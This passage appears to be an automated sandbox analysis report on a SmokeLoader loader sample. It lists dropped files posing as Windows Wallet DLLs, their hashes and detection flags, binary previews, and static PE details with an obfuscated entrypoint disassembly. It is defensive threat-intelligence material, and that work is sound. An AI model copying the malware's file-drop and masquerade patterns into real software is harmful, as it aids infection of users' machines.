.O.(@t..L..i..$......`..Db,....,...$....0..$...u...../..8.$..F.(..`@.Z..4...!J....!3..*.K..qPjiI.h...X.A.4.&M8..4..$E.4Y.mP+E..6i.

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..-service.deployment_31bf3856ad364e35_10.0.19041.985_none_b6bad888bc038c2c\r\WalletService.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	10013
Entropy (8bit):	7.971223878586799
Encrypted:	false
SSDEEP:	192:cidfT6qGSxt6xs03vf1ImnbjTLXJEuR7Kx00yel13K26fzooq7:ciJcN3XfbjXXJsOHel1K2x77
MD5:	516049B4656F0540B3900A19C43EB0E7
SHA1:	6FD0260FE345C763E042842D204C8CDDB4D9E1D9
SHA-256:	D53A4AFC80B79999013BFD983BDB0A5DDDED457397DEBF149002335C2FCEADAF
SHA-512:	2DCA05B264BFFCC62E3B92B5E61AA037EF858F6F625E5C0E946A82F1EDF7586C17244001093567FF534C4C31E41DC6446FBB23E5F1C6B6A5FE798F2DD6D939EF
Malicious:	false
Preview:	=.&.PA30Nlr......^............I%....Q..E.Z.2^$............. ..h[..<................++...=.........." .......A..............o...!.....a233TTTTUfVw..##..h.sCCSUw......wgXX.d2C4Eex.....xwv....!....Q$.C...Y..U.ZL..[..=.1.. as...;\|Nz.62....f..yV...x.y...8....W+.2..H..%.....`M;..)E;...{A....x........6.............x...\@}a........A][B...!.OPX.WYV#.e9R.fj@..'.A7.).4.!.....]...............@.3....!@`?:.......(....@.....d.......0.N.!.6...&..........B.......W .....*......AB.w...O..{..+.....O!C.+..?...?..'q.7.G.pg.g.A!.........3.p...\|....'a...c.(\.../...$...0.../.G....g~..r....q.O...."Qa~.f.Hpp.~.0,4.&0.H..3.....7....I.s#P$.?....P..G`..1?.b^H(..?..@.?..3........q...b.H,..g...PHp....)0.'P.G`~.8.....A....._......~..1....S. ..(....;..:..A....q,.`_Q..&:.5$.b....`...$a ...LL@..B@G..........".._$8....".......g@...7....\|.A@.....w...4....4..?.4.`...7..........a@...5 ..;..).+......s`.......}..>..=N9GI....@...sh..%..C?.S1.J!......)..d&.... ......88...S.CZ.!% T..h4..@.`.q.E.wvF3D...

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_fa16cd4ceba3021a\WalletBackgroundServiceProxy.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	4.703646249615889
Encrypted:	false
SSDEEP:	192:pOMUgMuF9z0lWc37O4R30jKRyR1C/jjjjjas+7atDgx7PuEcWZf2P4WwrW:k7gzF9z0lWcrOjjkyR1CTSDZBWwrW
MD5:	B7D6A6BB752E0F3B336FE9F48F2BD17F
SHA1:	B2C212468D9E4988A13EBF5B8397FC864E958D4A
SHA-256:	6AAFA6D7EE7B50F43A1A74F518132AD1F9E0CA2C7C1C83CB0508E716A7EEF276
SHA-512:	0210AF854EA1504D1D15B17979E3FB3140C3DDF037DBB828C42E4B656F93696744AA1F88C2E94E67781EAA16D923B69FB016D30E99879CCA41F69FE9E3B1004D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Tz....i...i...i..c....i..pj...i..pm...i...h...i..ph...i..pl...i..pi...i..pa...i..p....i..pk...i.Rich..i.........PE..d.....t!.........." ......... ......0................................................9....`A.........................................8.......8.......`..8....P...............p..D....3..T............................0...............1...............................text...0........................... ..`.rdata.......0......................@..@.data...X....@.......&..............@....pdata.......P.......(..............@..@.rsrc...8....`.......*..............@..@.reloc..D....p.......0..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_0e357aa451e0d2d7\WalletService.dll.mui

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.6408151632411823
Encrypted:	false
SSDEEP:	96:UBJvWcl8ClOolTPJlnrO0Q/LnPDQ6g6HQS+EWI4sWwB:kJxaCgohRF94gDzSTWI4sWW
MD5:	BC5D54311D229EACEB98977248A3E44C
SHA1:	0011AE8085B6409A944A9E431652D9CAFBCFCE48
SHA-256:	32737C8E34B90B7F0D57B607B07B641F7B8A80AE4797856C6CB8CCBF8C1414FE
SHA-512:	09BFF5F078A0834E8AC11A02FC57763AAC1224E06D0ECF7940AF38D2BC5E41B38FF5D508BD1C8A73B46C68A3C01916D1ED2E18925E0B1D2FE6D10D422AD7B4B8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5.<.q.R.q.R.q.R.e...p.R.e.P.p.R.Richq.R.................PE..L..................!.........................................................0......0J....@.......................................... ..$...............................8............................................................................rdata..............................@..@.rsrc........ ......................@..@....\|..{........T...8...8.......\|..{........$...................8....rdata..8...x....rdata$zzzdbg.... ..p....rsrc$01....p!.......rsrc$02.... ....K.....o.....#k..w..2....\|..{........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_5f44912b33b38332\WalletProxy.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	104960
Entropy (8bit):	3.868055965362207
Encrypted:	false
SSDEEP:	768:1iSLYz5Eotn0mdTnLJgAAn8vmZZrrtHBIE:1iSLYzOg0kTnLinmmZZ9hIE
MD5:	0EC2F54AF7A73C0281E0B7BA5A40ABCB
SHA1:	6D1B10FA5B1563307278B974DE0A131452DD6641
SHA-256:	F80FCC0E391B6A9A881E1D44E7A4B521CB54134E32DDE6E5B57D68DA7C75A1E8
SHA-512:	8D43CAA8023D35AAFD87EBD76970FB54411D2E7709D7C89CE0831D6D1931EF22138601AF94DE27DEC53CB326411A47DA588479843CA07CF920D8177B5FA233FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....................................R....................(................Rich...........................PE..d...2. b.........." ................................................................a.....`A............................................p...p................... ...............4...0~..T............................!..............."...............................text...p........................... ..`.rdata...^...0...`..................@..@.data...p............z..............@....pdata.. ............\|..............@..@.rsrc................~..............@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\Windows.ApplicationModel.Wallet.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	577024
Entropy (8bit):	5.941146933733838
Encrypted:	false
SSDEEP:	12288:pc2FNfvfmoCR9/TQ462FRdQgLpNhY7pjiUk:ZmZJ62FR2gNNhcq
MD5:	CF72D2BB801B140D14B5EF94A7193333
SHA1:	A012220FE3A7AA1866EBEE06EEAEFF5488224D21
SHA-256:	95A8DC32BCE0D7BF43235D7C6F593CBBCEE2EA79D84B955424BC582968D737E4
SHA-512:	F8C5A8C4CFB8CC90710CC88F29885A174161E7123EE16EE4A3165CA0AA3074F3A7C6A93761FDF7A387A187F53FD3FED952F6E285A23485C56BE7EF0631D3180D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........3...]...]...]......]..Y...]..^...]...\...]..\...]..X...]..]...]..U...].....].._...].Rich..].........................PE..d.....%l.........." .....h...j......0G.......................................0............`A........................................p=.......>...................0..............<C.....p...........................................(.......p3.......................text....g.......h.................. ..`.rdata...............l..............@..@.data........`.......F..............@....pdata...0.......2...P..............@..@.didat..............................@....rsrc...............................@..@.reloc..<C.......D..................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\f\Windows.ApplicationModel.Wallet.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	25347
Entropy (8bit):	7.9790494358638995
Encrypted:	false
SSDEEP:	768:ImljMJ48qjDELoE1AOwBpqMcBiyiETh0v+v4:Iml+48qjUuuriqTs
MD5:	2ACB0C8EB5B30A91B246530968927EFD
SHA1:	F5D0E77682643AF7B28D25862C65DE17943B8865
SHA-256:	C33F8B5EF6B87F29FBFDEE4B8C727AC427CA279B83E1A5F6C32B406A3E3BB7D4
SHA-512:	228679A1C8E8A515BA4B5DEA893779D4E34105A0BC4DB4F3E88F11253029D4A6E9CA0665AF9C6CAFF831627B9B5AE7C7B91F12B57C79AEF6B561DF8B0B512163
Malicious:	false
Preview:	.g..PA30.OX'.....^......8#.....r.........33................(a[..,............*..."...=.........."...8....p.?.../......o.....?A.\|.....hd.............fJj........................9..P......x..@....,!..g..4!...M..!...M..!...&..........W......(...)...V......&...$$.{....8..?0...).2._....pF...............W..p@....p./`A....b...~....$L.....). .l..d.....VR.............X.P.@..K.f.......`...H....J8 a......N...;.w..t...}.TmXp2..<...+`...p@..;_.z.L..{....`.;H....t`......\b/ ......z...b....- z.>sJ1..s...N"^....O........Mf...}..$........p@.D@..{......C..d98.;.W8.............0o``.A1.....`0..(\|..`..K..........!...@LO...? ......\|...L8.p.......@.........!.2`...7..........cH ..o.p..k.@..EPA..........1P.C"..1.V..!...., .P$....X...s......1.)p.q.p....!... ~..b5...........I......9...hC.....a.t...8...@.b.sd..O.T...............\.u.2..#..xxH..PN<]..G#.....J.5\..YW.\..p'...{xd...w...=.=<.....N6..%q.p'.......h..."....p...D...p.w.*<..A.8. ".%.M...$h..%......+..O.XV..U..j...tZ.

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\r\Windows.ApplicationModel.Wallet.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24598
Entropy (8bit):	7.987495493200845
Encrypted:	false
SSDEEP:	384:LU6A2OCYMfVKirkrym2d2Ft5n0IKqGFrXS5iLvQyZ2ZLo1SrDriIrlngLVX:LwrCd9krvR3KqGJiKQyUBo6eIr6x
MD5:	C9D97269A33C6769582C81D880F78A1C
SHA1:	E3C04DAD51E127ADA2F833A2220594D2B34C572C
SHA-256:	E8C29C666618EF4C7F2406883E0AA06597CC794B304073B555E1520016FAC8E6
SHA-512:	B6DE144CB010FC3A400B04C5A976A97BE3D6C1D99FF24C30BDC0E00EE8F77D8C5D6DBC0449651DF3A3342C79566FE1BAB26A67968B90F3EAD7323947145AB1ED
Malicious:	false
Preview:	.qp.PA30a.s......^.......#.......O>..A{.{l.....................W^..,............*..."..............;....../...................'../............Y..._\...[.U.LU.a.......U.U.=%.....o....~z.......).y.....\|..y.....\|..y.....\|..?.8?.3.....H\|.............H....`^.....{..._y..W......!..._..J._y......... b.N.....ox..........b..........R.o .`...(.r.a....+.@...I.K4.^...Y9.Z..Vx.WS..B.`..b!....h.l.....z.tz.......;./`=.k......$...............2....Y.8.......C....4Z...%...C...A.......(t..P..;4\|.&.....sSpn.......'`...ny. ..H,2Q..v.b...q..>.b.y.y.y .6.P..;....;..........?..........+.<.l.5..5oH.P....~..v....C(....J..h@.R...p...4.@../..J....... q.9?......../...W.B];..`.o....L.....0L.?0....\|(...@B..../E.H..P. .......NA....A.............'A.$`...B`?..c.#@"..1.c...p0g......V.2..W.........L4.0p@..o..1.s..T..p:..pH..!.G..C=%.%....Q.+..3..(...@.g.......4.........w......v7...yx87.<.n...<\d.-......7.7.......Ps.s........]l......?<<.H8.....[..o....qsa..qh........g......@.8r.......7

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_046b779f2003c415\WalletBackgroundServiceProxy.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.917119327447698
Encrypted:	false
SSDEEP:	192:Qkk3BzHgYRJzJpb+4EzOxauEcWZyWwrW:azHfRJ1pb+4EzOxaDZyWwrW
MD5:	1097D1E58872F3CF58F78730A697CE4B
SHA1:	96DB4E4763A957B28DD80EC1E43EB27367869B86
SHA-256:	83EC0BE293B19D00ECA4AE51F16621753E1D2B11248786B25A1ABAAE6230BDEF
SHA-512:	B933EAC4EAABACC51069A72B24B649B980AEA251B1B87270FF4FFEA12DE9368D5447CDBE748AC7FAF2805548B896C8499F9ECEEED2F5EFD0C684F94360940351
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........%.(.D.{.D.{.D.{.<0{.D.{./.z.D.{./.z.D.{.D.{.D.{./.z.D.{./.z.D.{./.z.D.{./.z.D.{./\{.D.{./.z.D.{Rich.D.{........PE..L.....}...........!.........................0...............................p.......+....@A........................@$......\|@.......P..8....................`..........T...........................`................@..x............................text............................... ..`.data...\....0......................@....idata..v....@......................@..@.rsrc...8....P......."..............@..@.reloc.......`.......(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_69993b7d6814452d\WalletProxy.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.153561346833534
Encrypted:	false
SSDEEP:	384:C/gOUmKmcVYF82y+hnVeM1LrB0ZqWF6WZT+vBoYd:C/Am0GLKZJ4po
MD5:	D09724C29A8F321F2F9C552DE6EF6AFA
SHA1:	D6CE3D3A973695F4F770E7FB3FCB5E2F3DF592A3
SHA-256:	23CC82878957683184FBD0E3098E9E6858978BF78D7812C6D7470EBDC79D1C5C
SHA-512:	CC8DB1B0C4BBD94DFC8A669CD6ACCF6FA29DC1034CE03D9DAE53D6CE117BB86B432BF040FB53230B612C6E9A325E58ACC8EBB600F760A8D9D6A383CE751FD6ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K......K..H...K..O...K...J..K..J...K..K...K..C...K.....K..I...K.Rich..K.........PE..L..................!.....t...........x...............................................*....@A........................P...n...8........................................s..T............................%..................4............................text....s.......t.................. ..`.data...\............x..............@....idata...............z..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\Windows.ApplicationModel.Wallet.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	412160
Entropy (8bit):	6.440111636589855
Encrypted:	false
SSDEEP:	12288:Zb4spB+uPpnV5dH+V15pyYy8W/czcJauE:Zb4sB+uPpnVHH+hpyYydczcJY
MD5:	02557C141C9E153C2B7987B79A3A2DD7
SHA1:	A054761382EE68608B6A3B62B68138DC205F576B
SHA-256:	207C587E769E2655669BD3CE1D28A00BCAC08F023013735F026F65C0E3BAA6F4
SHA-512:	A37E29C115BCB9956B1F8FD2022F2E3966C1FA2A0EFA5C2EE2D14BC5C41BFDDAE0DEEA4D481A681D13EC58E9DEC41E7565F8B4EB1C10F2C44C03E58BDD2792B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A4u..U...U...U...-..OU...>...U...>...U...U...T...>...U...>...U...>...U...>..<U...>...U...>...U..Rich.U..........................PE..L....Q.=...........!................pJ....................................................@A................................T....................................l...%..T...............................................P............................text............................... ..`.data...............................@....idata..Z...........................@..@.didat..............................@....rsrc...............................@..@.reloc...l.......n..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\f\Windows.ApplicationModel.Wallet.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	7030
Entropy (8bit):	7.958266788621544
Encrypted:	false
SSDEEP:	192:81ruwbXGT3mZCmm98yKuTOROSR3PdcGy7GeLc9y:ruXCH9DKcOROSR3kcY
MD5:	69B49B3DF8D7FA7A1588EF18B258AE44
SHA1:	9C33EA299609D07CEFDF684D38A4C3BFD6D33B0D
SHA-256:	CCC3FDDDA0894FAEB7745E81E9C1357A51CD9AEEF7326C54A26A1CD5AC5348DE
SHA-512:	31DD915EF296FDFEE70C5684F78B44C2B83CAD21C50A87ACCE6BD4FB31F1DC57F0500D7D6B9F45F437E13F824EA9D7A521CBDB0429C63F19F35D25C557E79756
Malicious:	false
Preview:	fWU.PA30..s......^..?...(......U\|....<+y...:-...............8...Y..,...................=........++. ........?..'.........#......n5bQDC3CcUnn.....^.dUaDcFUD4...^..nn....;.Q0.b...C.._.hR..M.../P.....iH..r..=....N\.T..Q0(.......2....................e...&0.b ```8...a`.....8..@..A'/p.=+..Ld"...D&..KJCd.......n..qnP.q@.2.h..H`...B.#v......\.Ld".........A............G.(.....((.g...!3R.....p........![...0...L@...N^(..._...h...@."C..<......00.......Ce.....O~..\...l.[...m..I...o%.15.k.o.......r]....f.W.........u.NK......]......t...0.....Hj..M.?h2Hw.Z^-.ml..U76MGu...n7.AkP...`..H...N..T.T......Q(R.Y..(..A0X.p.(...f...nV..7+....v...r+7n.j.f...$......DZ.Z.u.6s.Yk....&gV...Ve.6....N....&kr5.Y.k.r.".q..\|V...ZC....Y.....#.$g0.. .1$lf5.....C..t:.....9.j.\..(.k....P:.m.;...l.^.......Y.........Z.........{......j...N.]U..\|.)w.{?..%g.M...2...=B....d...K.`..r..b...vv...o.i.#.0.o......sv3..q.n...d.4....n@.. 1H.. 1.H..4v;@..$LOa..+H....U`3$>..@F..a0...C.B

C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\r\Windows.ApplicationModel.Wallet.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	6648
Entropy (8bit):	7.956463646454614
Encrypted:	false
SSDEEP:	96:zABbqVw9iWzZ91e1dkT9wMK+LcUYtW+/cipvUUMCMtuf/ORkphTbqn1z3a7J+mBe:6y7Wl91eEwMK+RY9k4yCSu+o5+siDF9
MD5:	D547F124FF89733FE1D641C7D99F0573
SHA1:	923143A6BB4CDEEEE35A1F3931FA08FBAF4046CD
SHA-256:	56587C58E4012F958C2D9A4BA566ACFE701C0E3D988FC171F6AC9D5AEA23AE1F
SHA-512:	12767430FDFDFDDDA5DE896B534AC0CD8A95BB0CD4D72DAE53A3ECBE3E8AF7A2D2DDFF0FCBD94416DF11DE644B3ED1C5725661F2DF00905951569E63361DE286
Malicious:	false
Preview:	...qPA30........^..?............UX..M.C...[.................(]..,...................=.........+. ....................................U....W<.:U..I.....[.....M9.yp.. .>.7...o86F.[8).....3p.J ...s{.b+.jA... l....3\|.....>.;`..v`.v.A....5]0.?...v f;..i..)....>.......;d @.....%..xPn......G?..~.1.[.j(...C..q.S\|..4>.0oP..oh=tDa...`...ie..Gop..G.E.d#!...C.....+..>.`._ q..?j.B=.!. )0D.{..X.B.((f.......Y...i...E....8....@.%....=.2"...(0..:..............4.........f.._.....):.O-.A?H,.!7.b!....>...Xt.X.....[......}.b!..F.c!.........7........u9Dk...i...&'c.k.T.@..v...]...........!...."..$........@@....1I. ...p.....a...@.."..i[X,,#....,..ns.....;s7..;.t.n....=\......dJ...8...2 ..E.....n...==s.......<..n.n....T..]....ps.".1.p.8L.a$(..l..\..#.}.F...!.S)t.;F.;.O..d..U..L...L....\.3...y...2e.\..x....g.e>..2..P..L...=./b2.S..U.i&.2]....{..B(.0..O!HS.N.h.C..A.1..S7w.!.f..7e..n7*.&......vS.uv..@\.....u...v..H......q..5.Z.;...DNT......H..."D..h.H+.G...(i........&...;..h.

C:\Users\user\AppData\Roaming\hfetwhc

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	6.997703329544817
Encrypted:	false
SSDEEP:	768:MgRyFAxrpRAf/KP46VjlOPBktlTVlPavMTVp:M3KxVRAf/lAjuBcTVlPavMp
MD5:	8E177D78AE583957804B5A933D6A3F1E
SHA1:	EDB0A9379263C6A0A12DD77DF7D2ABE373A24722
SHA-256:	4793C4F1D490D454D761F7947B6451C07FBBC8639013F5C80B3F493E7C6CB6EB
SHA-512:	90CE292592E600B53D1E97E2CDF751D7390B246A70AA9C8051745B8029CD1DB22443D2A12307691F2EDC1573ABB6F9887D2E281853232E0C239B069889523737
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: C:\Users\user\AppData\Roaming\hfetwhc, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......f...............I............T2............@.................................J................................................................................................................................................................text............................... ....................................................................................................;.......9.R=&....=.o.%.)..-et-x.S...b>..S]..:.."....f.[.XUBo~~t..T.?.>.....'...B.~.....".@+..w)TK;.q..d..};........R.>.M.,.a)....r.AZ.e,.]W.T...f"....O'V..#.+.. . ..;.O.........K....8.xT..3....5>..ev..%..~zsl.....&3~.:q8.........w....p.r.ytP[G.......#..1z349.Y.v.........t.M.Qh....otRG.^P>R.....S.]..=6L.O..bMy.....^...Dv...t...c..9..u4B..n.U}a..hz..}.f..AP.].K....zP....C..'..O.`.eN..nd.4....?.p..."t..p....M..+..g..a..].....A..HU../.4?H..,k.'..&@&...._*f

C:\Users\user\AppData\Roaming\hfetwhc:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\hshstfj

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	modified
Size (bytes):	365216
Entropy (8bit):	7.999418216424842
Encrypted:	true
SSDEEP:	6144:o97kCenaPxVOtG3zkZyT9jmcvE43ZAOTsIHYxm5nkwnvjfqqoRPn6IQWO7/f6zmN:odkvaPxAG3zkZ6xt84y0XHYxmVvzin6T
MD5:	328D7847146DA01756460C35A2CABB19
SHA1:	9FE1840EFB2E5EA205B593E3EC9B7159ECB12A08
SHA-256:	5F3A37FBEBB5ECB6BED1D9D222C6F6D58F5C5B09DC624DC0B571A7DDEFE8B02E
SHA-512:	861CC926E4D032001C7D45022F8BD780CCCA1DB68487B9596C02E34EBD43E72F2FD5622A0AFD7C05BA491399EDF8654E406C52976F3EBA8D0D635B0294001DEE
Malicious:	false
Preview:	...W.I{1(Pg...lx......!...4..O....G...w.f{....V....?.F..o.............3tU^7..h.6lmX.6...'..O..]..h"z,....q.f.s).N.LP...q...."qM.S^_.].E.9.t[..1..........N.[......9...Y...Y.[.....(F.v...C.~x./iMX..M.9.H@m9...3.>.c..Yy..q..f.......4:..P.2..r3-....'<.....zr.u.EK..2..t.jw.]...,.j..<..C..O..eXJ.7K.E#...cu..$....y....D..V...J...... W.Z..z..;qa>.J.r....13..Pw"j...).Qh..(.g.....@X.........E.....z...c.Em.E\...rU......L...D.E;..x8W.D.y...4r)r\.'..[.y..veT..........W.......Q)he.$...LAd....v$...'..F..V.@..>...?...m..3.....F.v..^jV.h...J]...D=.LW..w...`..WVM.k.`...q..(Y....X.Gx\.7.~...3o..+nn..A..W..a..+....8..x.].^....v.ZZa....m..YT\|0.gr+....k....S.....Q.....Aw.._..x.....V.....7...p.T...X..8q..I.F...{..`."..V..4.Jk.......b.)W.L.~\|...h<MT...6+.....z.Y#..8=..'.1.............c.....OA....9+...F.#7.W4v.?Sft)..).r...w<.f..D.{..R4.u...q..Q#...C.Kq#5)..Z?...A.......{XxEU=....^.....`.S..'(._9...E).".e..Z.\|nV...P6.W;.&.y...,..Y#3.u....[

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.997703329544817
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe
File size:	37'888 bytes
MD5:	8e177d78ae583957804b5a933d6a3f1e
SHA1:	edb0a9379263c6a0a12dd77df7d2abe373a24722
SHA256:	4793c4f1d490d454d761f7947b6451c07fbbc8639013f5c80b3f493e7c6cb6eb
SHA512:	90ce292592e600b53d1e97e2cdf751d7390b246a70aa9c8051745b8029cd1db22443d2a12307691f2edc1573abb6f9887d2e281853232e0c239b069889523737
SSDEEP:	768:MgRyFAxrpRAf/KP46VjlOPBktlTVlPavMTVp:M3KxVRAf/lAjuBcTVlPavMp
TLSH:	E103D085BF90C0ADFF340AB712C5A5E19313BAEA088AE54DCB356D3B38A1D49245B49C
File Content Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L......f...............I............T2............@.................................J......................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x403254
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x66ED9F87 [Fri Sep 20 16:15:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
call 00007FF701228EE5h
jne 00007FF701228EE8h
je 00007FF701228EE6h
pop edi
mov edx, EB5BB25Ch
or cl, al
sub ebx, 00003259h
jmp 00007FF701228EE7h
mov ch, bl
cmc
enter 748Ah, 08h
jne 00007FF701228EE8h
mov byte ptr [esi+eax*8-41h], cl
push eax
xchg eax, edx
push 00000030h
jne 00007FF701228EE7h
je 00007FF701228EE5h
xor bh, byte ptr [ecx-22h]
mov edx, dword ptr [esp]
add esp, 04h
jmp 00007FF701228EE8h
add al, 29h
shr bl, 00000005h
and ch, bl
stc
add al, 22h
jmp 00007FF701228EE7h
or byte ptr [edx], ch
or al, 72h
jecxz 00007FF701228F46h
add eax, dword ptr [edx]
je 00007FF701228EE7h
jne 00007FF701228EE5h
pop ebx
push esp
and al, FFh
mov al, A4h
add byte ptr [eax], al
add byte ptr [ebp+04h], dh
je 00007FF701228EE4h
popfd

Data Directories

Name	Virtual Address	Virtual Size
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

